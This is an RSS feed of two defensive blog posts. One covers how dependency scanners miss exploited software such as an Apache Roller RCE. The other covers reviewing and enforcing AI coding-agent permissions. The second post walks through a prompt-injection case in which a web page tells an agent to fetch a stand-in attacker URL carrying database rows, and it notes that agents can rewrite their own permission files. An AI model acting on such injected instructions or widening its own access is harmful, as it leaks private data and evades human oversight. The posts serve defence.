<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Vasyl Duda]]></title><description><![CDATA[Vasyl Duda]]></description><link>https://vasylduda.hashnode.dev</link><generator>RSS for Node</generator><lastBuildDate>Wed, 25 Nov 2026 10:55:49 GMT</lastBuildDate><atom:link href="https://vasylduda.hashnode.dev/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[I read a week of security news to see what dependency scanners miss]]></title><description><![CDATA[Last week Apache said that a Roller bug from September affects many more versions than first reported. The September CVE (CVE-2026-82384, CVSS 9.8) listed…]]></description><link>https://vasylduda.hashnode.dev/i-read-a-week-of-security-news-to-see-what-dependency-scanners-miss</link><guid isPermaLink="true">https://vasylduda.hashnode.dev/i-read-a-week-of-security-news-to-see-what-dependency-scanners-miss</guid><category><![CDATA[Security]]></category><category><![CDATA[Devops]]></category><category><![CDATA[Open Source]]></category><dc:creator><![CDATA[Vasyl Duda]]></dc:creator><pubDate>Sat, 21 Nov 2026 23:19:19 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/6b00653dbe701d1d5eff9762/b32d3b5f-ce73-4399-b289-e4fd71a30daf.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Last week Apache said that a Roller bug from September affects many more versions than first reported. The September CVE (CVE-2026-82384, CVSS 9.8) listed only Roller 6.1.5 as affected. On November 18 the Apache Software Foundation said versions 4.0.0 through 6.1.4 are affected too, gave it a new ID, CVE-2026-129448, and said it is being actively exploited. <a href="https://thehackernews.com/2026/11/critical-apache-roller-rce-flaw-under.html">The Hacker News wrote about it the same day</a>, and CISA added it to the KEV catalog on November 20.</p>
<p>So if you had Roller 6.1.4 somewhere, every version check since September said it was fine. I'm also not sure many teams would run that check at all, because Roller is usually installed from a zip on some VM and isn't in any lockfile.</p>
<p><img src="https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/mrabnsixwbvav28vwmdf.png" alt="Timeline. September: CVE-2026-82384 lists only Roller 6.1.5 as affected, so a version check passes 6.1.4. November 18: the ASF says 4.0.0 through 6.1.4 are affected and it is exploited. November 20: CISA adds CVE-2026-129448 to the known-exploited catalog." /></p>
<p>This is the kind of case I built Security Watch for. It's open source, and there's more about it at the end. I replayed that Hacker News article through it with a small inventory where a blog runs Roller 6.1.4, and this is the alert it produced, a bit shortened:</p>
<pre><code class="language-text">[CRITICAL] Critical Apache Roller RCE Flaw Under Active Exploitation, No Authentication Required
Where to look: Engineering blog (owner: Marta, web team) - blog.example.com, VM web-03,
               behind the eu-west load balancer
Affected item: Apache Roller 6.1.4 - installed from the ASF release zip, Tomcat 10
Applicability: relevant; source severity: unknown; priority: critical
News signals: CVSS 9.8 stated for CVE-2026-129448; exploitation reported by an article
              (not a known-exploited catalog entry)
• The product name or an explicit keyword matches Apache Roller; no supported product
  adapter establishes version or backport applicability.
Rule: Potentially critical news impact remains uncertain; investigation required.
</code></pre>
<p>It doesn't claim the blog is affected. It matched the product name and has no way to check the version range, and it says so in the output. It tells you that an article reports exploitation of something on your list, who owns it and which machine it runs on, and asks someone to check. I would rather get that on Wednesday evening than wait for the catalog on Friday.</p>
<h2>Most of it isn't in a lockfile</h2>
<p>Dependency scanners in CI are good at their job, but they only see repositories that get pushed. None of these have a lockfile: Roller from a zip, a VPN appliance, a vendor product on a Windows server, a managed database. When I looked at what was reported as exploited that week, it was mostly this kind of software: Roller, Confluence, ScreenConnect, Puppet Enterprise, N-central and UnrealIRCd, and no npm packages.</p>
<p><img src="https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/piczu5uhla2u4itxk4ml.png" alt="A dependency scan in CI sees the libraries in repositories that get pushed. What you actually run is those, plus a blog installed from a zip, a VPN appliance, a vendor product and a managed database, and none of those four ever pushes a lockfile." /></p>
<p>So I see two separate jobs here. First you need a list of what you actually run, including the things that never go through CI. Then you need to find out quickly when a vendor post or a news article is about something on that list, which often happens before there's a proper CVE record with correct versions.</p>
<h2>What a week of security news looks like</h2>
<p>To build the news part I collected one week of security news in November: 256 items from 13 feeds, including The Hacker News, Rapid7, ZDI, oss-security and CISA. Then I went through the sentences about exploitation and severity. An AI assistant helped me label them and nobody independent checked the labels, so please treat the numbers as rough.</p>
<p>The Hacker News is the easiest to count, because its feed has the full articles. It published 49 articles that week. In 10 of them a flaw was reported as exploited. In 10 others the article said it wasn't, with phrases like "no evidence" or "not aware of any attacks". 3 of these 20 articles had both, in two cases about different CVEs.</p>
<p><img src="https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/2vspnu7tpcq5r1seknpn.png" alt="Of The Hacker News articles that week: 10 reported exploitation, 10 said there was none, and 3 of those had both. Phrases that look like reports but aren't: " /></p>
<p>I didn't expect that many denials. If you search news for the word "exploited", you find all of them, and about half say it didn't happen.</p>
<p>Most exploited vulnerabilities that had a CVE were already in CISA's catalog when the article came out. Three were not. One was Roller. Another was CVE-2026-90436, the flaw behind the N-central and Confluence attacks, which was reported as exploited on November 12 and added to the catalog on November 18. The third was Java4Shell, where GreyNoise saw exploitation attempts, and it still wasn't in the catalog on November 20. There were also attacks without any CVE, like the suspected attacks on a third-party ScreenConnect add-on, and those can't be in the catalog at all.</p>
<p>Also, BleepingComputer, SecurityWeek and Dark Reading put only a headline and a couple of sentences into their RSS feeds. A tool that reads RSS gets almost nothing from them.</p>
<h2>What I'd recommend</h2>
<p>You can do all of this without my tool.</p>
<ol>
<li><p>List everything you run, including what you didn't build. Lockfiles cover most of your own code, and any SBOM generator can turn them into a list. Everything else you have to add by hand: the blog, the VPN, the firewall, vendor products, managed databases with their versions. A YAML file with 20 lines is enough to start.</p>
</li>
<li><p>Give every entry an owner and a short note. "lodash is vulnerable" doesn't help much. "lodash 4.17.20 in the checkout API, repo acme/checkout, owner Dana" does, because whoever gets the alert in the evening knows where to start.</p>
</li>
<li><p>Keep the list up to date automatically. Let CI send a fresh SBOM on every merge, and get a warning when an entry hasn't been updated for a long time. If the list gets old, you just stop getting alerts, and nothing tells you.</p>
</li>
<li><p>Check again even if nothing changed on your side. With Roller the installed version stayed the same and the advisory changed. A scan that runs only on push won't catch that, so run it on a schedule, every 30 minutes or so.</p>
</li>
<li><p>Treat a news match as "please check". Matching by product name finds things days earlier, but it can't see the version or a backported fix. If news matches are shown as confirmed, people stop trusting the alerts pretty fast.</p>
</li>
<li><p>If you parse news, test on denials first. This applies to rules and to LLMs. "There is no evidence this flaw has been exploited" contains the word exploited, and so does "could be exploited". Tie each statement to one CVE or product, treat "no evidence" as a denial and "can" or "may" as hypothetical. A "zero-day" on its own usually only means there's no patch yet.</p>
</li>
<li><p>Decide in advance what alerts at once and what goes to a digest. For me, exploitation of something on my list goes out immediately, and so does a critical library finding with a matching version. A possibly critical news match also goes out right away, marked as "please check". Everything else waits for a daily digest. I also don't let any rule or model lower a severity the source gave, or close a finding without a person. Your thresholds can be different, but write them down before the first real alert.</p>
</li>
</ol>
<h2>Limitations</h2>
<ul>
<li>It only knows what's on your list.</li>
<li>Name matching misses things, and it also matches too much. For Roller it sent two alerts for one bug, one per CVE ID.</li>
<li>Rules for reading news will miss wording they haven't seen before, and one week of articles is a small sample.</li>
<li>It doesn't confirm or patch anything. Someone still has to check the version, the config, and whether the endpoint is reachable at all.</li>
<li>Use it together with a dependency scanner in CI.</li>
</ul>
<h2>About Security Watch</h2>
<p><a href="https://github.com/ShieldaAI/security-watch">Security Watch</a> is free and open source (Apache-2.0). There's no paid version and no account, it runs on your own server, and the news part uses plain rules, so no model is needed. I care more about the idea than about my implementation, and I'd be happy to see other tools do this.</p>
<p>If you do this differently, or you think I got something wrong, please tell me in the comments. I'm especially interested in wording that would fool the rules.</p>
<p><em>I wrote this with help from an AI assistant. The alert and the numbers come from runs on my own machine.</em></p>
]]></content:encoded></item><item><title><![CDATA[Your agent's permissions are already code. Nobody is reviewing them.]]></title><description><![CDATA[A one-line PR, what it really changed, and the practices I use before giving an AI agent real access.]]></description><link>https://vasylduda.hashnode.dev/your-agent-s-permissions-are-already-code-nobody-is-reviewing-them</link><guid isPermaLink="true">https://vasylduda.hashnode.dev/your-agent-s-permissions-are-already-code-nobody-is-reviewing-them</guid><category><![CDATA[AI]]></category><category><![CDATA[Security]]></category><category><![CDATA[ai agents]]></category><category><![CDATA[Open Source]]></category><dc:creator><![CDATA[Vasyl Duda]]></dc:creator><pubDate>Fri, 20 Nov 2026 15:36:46 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/6b00653dbe701d1d5eff9762/12b00d0e-b901-4340-9223-cd55d117e4fe.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Here's a pull request. One line.</p>
<pre><code class="language-diff">- { "permissions": { "allow": ["mcp__postgres"] } }
+ { "permissions": { "allow": ["mcp__postgres", "WebFetch"] } }
</code></pre>
<p>It's <code>.claude/settings.json</code> in a normal repo. The team already lets Claude Code query a staging copy of the app database through an MCP server, and now someone wants it to stop asking every time it opens a new docs site. Would you approve it? I think most of us would, on a Friday, in about four seconds.</p>
<p>Here is what that line actually changed. I ran a scanner I maintain on exactly this diff (more about it at the end):</p>
<pre><code class="language-text">Authority widened by this change:
  Claude Code (project): reads untrusted input yes, with approval -&gt; yes, no approval
  Claude Code (project): sends data out yes, with approval -&gt; yes, no approval

New findings:
  CRITICAL AGC-TRI-001  .claude/settings.json:1
           Claude Code (project) reads private data (mcp__postgres), reads untrusted
           input (WebFetch) and can send data out without approval (WebFetch).
</code></pre>
<p>In plain words: the agent can now read the database, read any web page, and send data to any URL, and it doesn't need to ask anyone for any of it. A web page with the right sentence in it can ask the agent to take some rows and "fetch" <code>https://attacker.example/?d=...</code>. The agent fetches, and the rows are gone.</p>
<p>Nobody did anything stupid here. The reviewer saw a JSON diff. The consequence wasn't in the diff.</p>
<p>The fix: allow only the site you actually need, <code>WebFetch(domain:docs.python.org)</code>, and run the same check again. Sending data out goes back to "with approval", the critical finding turns into a medium one (the agent still has all three legs; now only the approval prompt for Bash stands between them, and people do click yes), and the PR passes.</p>
<p>The fix is easy. Noticing is the hard part. Agent permissions already live in files and change in pull requests, and we don't review them like code.</p>
<h2>What I mean by agents as code</h2>
<p>Two things together.</p>
<p>First, declare. What an agent is allowed to do lives in a file in the repository: who owns it, which tools, on which resources, where data can go, what needs a person, when someone looks at it again.</p>
<p>Second, enforce. At runtime every tool call is checked against that file, and anything the file doesn't allow doesn't run.</p>
<p>You need both. A file nothing enforces drifts. A check with no file is a policy nobody reviews.</p>
<p>If this sounds like infrastructure as code, it is. Not that long ago servers were configured by hand. Then we moved the truth into files (Puppet and Chef, later Terraform), put them through pull requests and applied the files to the servers. People didn't get more careful. The process stopped needing them to be.</p>
<p>Agents are at the hand-configured stage right now.</p>
<p><img src="https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/e2ew7c8webk43evk1w6x.png" alt="Today an agent's prompt, tools, token and owner are spread across a vendor dashboard, code and configs, the developer's own admin token and whoever built it. As code, one file in the repository goes through review and a CI check, is enforced on every tool call and feeds an inventory." /></p>
<p>There are two kinds of agents, and both have this problem:</p>
<ul>
<li><strong>Agents you use</strong>: Claude Code, Codex, Cursor, Copilot, Gemini CLI, and GitHub workflows that run them. Their permissions are partly files in your repo already (<code>.claude/settings.json</code>, <code>.mcp.json</code>, <code>.codex/config.toml</code>, <code>.cursor/mcp.json</code>). Partly, because user and local settings merge on top, and nobody reviews those. Most teams never look at any of it as security config.</li>
<li><strong>Agents you ship</strong>: the support bot, the assistant in your product, the internal agent that files Jira tickets. Their permissions are spread around: a prompt in a vendor dashboard, tool wiring in code, an API token someone created once with admin scope because it was faster.</li>
</ul>
<h2>Why the prompt can't be the policy</h2>
<p>An agent's prompt, together with everything it reads, decides what it <em>wants</em> to do. Its tools and credentials decide what it <em>can</em> do.</p>
<p>Prompt injection attacks the first one. Anyone who can put text in front of the model (a ticket, a web page, an email, a code comment, a tool result) can try to change what it wants. Today there is no reliable way to stop that. Filters help, and they also miss.</p>
<p>But no email, however clever, can give the agent a new tool or a wider token, as long as the capabilities live somewhere text can't reach and something checks them on every call.</p>
<p><img src="https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/7mh8e3odp0yjhki5tf6l.png" alt="Text that anyone can write reaches the prompt and context. Only a reviewed pull request can change the file. Every tool call passes a check that reads only the file." /></p>
<p>One condition: the agent must not be able to edit that file. A coding agent with Edit and Bash in the repo can rewrite <code>.claude/settings.json</code> or open a PR that widens its own access. Deny <code>Edit</code> on <code>.claude/**</code> and <code>.mcp.json</code>, keep Bash on ask, and add those paths to CODEOWNERS so a person reviews every change to them.</p>
<p>An agent is exactly as safe as the worst thing it is able to do on its most confused day. That's why I care about the file more than about the prompt.</p>
<h2>Seven practices</h2>
<p>Roughly in the order you'll need them: the first three apply to the coding agents already in your repos, the rest to agents you build and ship.</p>
<h3>1. Check agent config on every pull request</h3>
<p>The useful question for a PR isn't "is this config perfect?". It usually isn't, and that's old debt. The question is "did this change let any agent do more than before?"</p>
<pre><code class="language-sh">npx @shieldaai/agent-guard-check --base origin/main
</code></pre>
<p>That's the scanner from the opening. It reads files only, never runs repo code, and by default fails only on new findings at high or above, so old debt doesn't block every PR. You don't need it to start, though. A CODEOWNERS rule on <code>.claude/</code>, <code>.mcp.json</code> and the other agent configs forces a second reviewer today. At runtime, <code>permissions.deny</code>, <code>PreToolUse</code> hooks or an MCP gateway with an allowlist limit the damage. Whatever you pick, put an automated check next to the human reviewer. People reading JSON alone won't catch this.</p>
<h3>2. Break the lethal trifecta on purpose</h3>
<p>Simon Willison named it: <a href="https://simonwillison.net/2025/Jun/16/the-lethal-trifecta/">private data, untrusted content, and a way to send data out</a>. The leak needs all three. (Other combinations have their own problems: untrusted input plus write access can still delete things.)</p>
<p><img src="https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/gqw16hw0v9f4oi50d0nd.png" alt="Three overlapping circles: reads private data, reads untrusted input, can send data out. The overlap of all three is the lethal trifecta." /></p>
<p>When you find an agent with all three, the cheapest leg to cut is almost always sending. And watch for sending you didn't count as sending. Fetching a URL is sending, if the agent picks the URL.</p>
<h3>3. Treat tool definitions like dependencies</h3>
<p>An MCP server you approved last month can change a tool's description tomorrow, and that description goes straight into the model's context. Pin what you approved (a version, or a digest of the definition), and when it changes, refuse calls until a person reviews the new one. Same idea as a lockfile. For coding agents, at least pin the server version in <code>.mcp.json</code> (<code>pkg@1.4.2</code>, not <code>@latest</code>).</p>
<p>Same rule for everything else you can't verify: a config you can't parse, a hook you can't follow, a tool you don't recognize. Unknown is not safe. Fail closed.</p>
<h3>4. Give every agent you ship a file with an owner and a review date</h3>
<p>Write capabilities in it, not wishes. "Be careful with customer data" is a prompt. "Reads the customer record of the ticket it's working on" is a capability you can check in code. Add an <code>owner</code> and a <code>review_by</code> date. Agents from hackathons keep running after everyone forgets them, and two lines save you the "who even uses this token?" conversation six months later.</p>
<h3>5. Grant per task and per resource</h3>
<p>"The support agent can delete tickets" is too wide. "This task, working on ticket 42, can delete ticket 42" is the right size:</p>
<pre><code class="language-js">grants: [{ tool: 'delete-ticket', resources: ['ticket:42'] }]
</code></pre>
<p>Then the model can ask for ticket 7 as many times as it wants. The call is refused before it runs, so a misled agent is still limited to what this one task was given.</p>
<h3>6. Bind approvals to one exact action, once</h3>
<p>"Ask a human for dangerous stuff" is the standard advice, and it's right, but the details matter. An approval should cover these arguments, on this resource, one time, with an expiry. Otherwise "approve delete ticket 42" quietly becomes "approve deletes".</p>
<p>In Agent Guard it looks like this (tool registration left out. The README example linked at the end runs as is; add a second <code>execute</code> to see the replay refused.)</p>
<pre><code class="language-js">const prepared = await guard.prepare(task, { tool: 'delete-ticket', args: { id: '42' } });
const approvalId = guard.approve(prepared, { approverId: 'alice', expiresAt: Date.now() + 30_000 });
await guard.execute(prepared, { approvalId }); // runs
await guard.execute(prepared, { approvalId }); // throws ACTION_USED
</code></pre>
<p>The approval works once and a replay is refused. And the model must never be the one calling <code>approve</code>. That's your code, after a signed-in person clicks a button.</p>
<h3>7. Let credentials follow the file</h3>
<p>If the file says "reads tickets" and the token says "admin", the token wins. Give each agent, ideally each task, its own credential scoped to what the file allows, and close the side doors: no spare shell, no second client holding the same token.</p>
<h2>What this doesn't solve</h2>
<p>I'd rather say it myself than read it in the comments.</p>
<ul>
<li>It doesn't detect prompt injection. It limits what an injected agent can do.</li>
<li>It only covers calls that go through the check. If the agent has a shell or its own database connection, that's a second door, and the file doesn't apply there.</li>
<li>It doesn't make a bad grant safe. If the file says the agent can refund any order, it can, and a customer can ask it to in a ticket. The file only makes that decision visible and signed.</li>
<li>Someone still has to read the diff. The scanner shows the consequence. A person decides.</li>
</ul>
<h2>Where to start</h2>
<p>If I had one afternoon:</p>
<ol>
<li>Run a scanner over the repos where your team uses coding agents. Look for the trifecta first.</li>
<li>Pick the shipped agent with the widest token and write its file: owner, tools, resources, where data goes, what needs a person.</li>
<li>Put the one tool it should never call without a person behind an approval.</li>
<li>Add the PR check, so next Friday's one-line change gets a second look.</li>
</ol>
<p>Agents are getting more access every month. I'd rather we write that access down and review it now, while there are ten agents, than reconstruct it from logs later when there are five hundred.</p>
<h2>About the tools I used</h2>
<p><a href="https://github.com/ShieldaAI/agent-guard">Agent Guard</a> and the scanner are free and open source (Apache-2.0). There's no paid version. I care more about the idea than my implementation: agent permissions should be written down, reviewed and enforced. I'd be glad to see other projects do it, including better ones. The <a href="https://github.com/ShieldaAI/agent-guard#try-it-in-five-minutes">runnable example</a> from practice 6 is in the README.</p>
<p>If you do this differently, or you think part of it is wrong, I'd like to hear it in the comments.</p>
<p><em>I wrote this with help from an AI assistant. The examples and scanner output are from runs on my own machine.</em></p>
]]></content:encoded></item></channel></rss>